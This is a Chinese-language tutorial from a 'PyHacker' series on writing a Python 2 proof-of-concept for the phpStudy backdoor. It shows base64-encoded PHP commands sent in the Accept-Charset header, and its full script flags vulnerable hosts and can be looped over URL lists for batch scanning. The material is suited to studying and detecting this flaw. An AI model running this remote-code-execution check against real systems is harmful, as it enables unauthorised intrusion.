查看原文
其他

【PyHacker编写指南】实战编写漏洞POC

小陈 巡安似海 2022-07-01

这节课是巡安似海PyHacker编写指南的编写漏洞POC

经过前面的几节PyHacker系列的沉淀,这节课来讲讲如何编写漏洞POC实现自动化。

编写环境:Python2.x



00x1:

需要用到的模块如下:

import requestsimport base64


00x2:

既然是漏洞poc编写,那么我们肯定要有poc,当然直接exp利用也可以

每当爆出新的漏洞,就会有专业大佬进行分析,发出poc,我们直接利用即可

第一个例子,拿phpstudy后门为例

先了解一下base64模块


00x3:

接下来,你需要去了解一下这个后门,网上有很多分析文章

Accept-Encoding:gzip,deflateAccept-Charset:cHJpbnRmKG1kNSgzMzMpKTs=
了解base64你就可以写一个交互式的Exp

为了确定漏洞准确度,我们可以直接执行输出一个特定字符

cHJpbnRmKG1kNSgzMzMpKTs=

解码得:printf(md5(333));

这样,网页只有这个md5才会确定存在漏洞,准确度极高

这里仅已验证漏洞为例c3lzdGVtKCJlY2hvIHhjNjY2YSIpOw==

直接写入了base64验证poc,就不演示交互式的利用了,也是同理

核心代码如下:

headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'Accept-Encoding':'gzip,deflate', 'Accept-Charset':'c3lzdGVtKCJlY2hvIHhjNjY2YSIpOw==', 'Accept-Language':'zh-CN,zh;q=0.9', 'Connection':'close', }

批量检测:

只需要修改最后一行,打开文件遍历url即可,前面讲了,这里就不再多说了



00x4:

完整代码

#!/usr/bin/python#-*- coding:utf-8 -*-import requestsheaders = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'Accept-Encoding':'gzip,deflate', 'Accept-Charset':'c3lzdGVtKCJlY2hvIHhjNjY2YSIpOw==', 'Accept-Language':'zh-CN,zh;q=0.9', 'Connection':'close', }
def phpstudy(url): try: if 'http' not in url: url = 'http://' + url r = requests.get(url=url, headers=headers,timeout=5) if 'xc666' in r.text: print u'over success:',url with open('success.txt','a+') as f: f.write(url+"\n") else: print u'flase:',url except: print u'连接超时',url
if __name__ == '__main__': url = raw_input('\nurl:') phpstudy(url)

注:

如Sql,Xss等漏洞的Poc,也是一样,直接请求就ok,然后去验证,大同小异


您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存